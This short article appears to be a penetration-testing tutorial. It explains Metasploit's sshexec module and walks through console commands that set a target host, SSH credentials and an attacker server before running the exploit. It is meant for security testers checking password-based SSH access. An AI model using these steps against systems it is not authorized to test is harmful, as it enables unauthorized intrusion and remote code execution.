🟢SSH User Code Execution

Discover insights into SSH User Code Execution in our detailed article. We delve into its intricacies and implications, helping you understand and prevent potential security threats.

SSH User Code Execution, often referred to as sshexec, is a type of penetration testing exploit that allows an attacker to execute commands on a remote machine via SSH. This technique leverages legitimate SSH credentials to gain access to a system and run arbitrary code.

In Metasploit, this can be accomplished using the exploit/multi/ssh/sshexec module. Below is a step-by-step example:

msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) >set rhosts
msf exploit(sshexec) >set username ignite
msf exploit(sshexec) >set password 123
msf exploit(sshexec) >set srvhost
msf exploit(sshexec) >exploit

Here, rhosts specifies the target host, username and password provide the SSH credentials, and srvhost is your attacking machine. The exploit command then executes the attack.

This method is useful for security testers to assess the vulnerabilities of SSH-enabled systems by validating if password-based authentication can be exploited.

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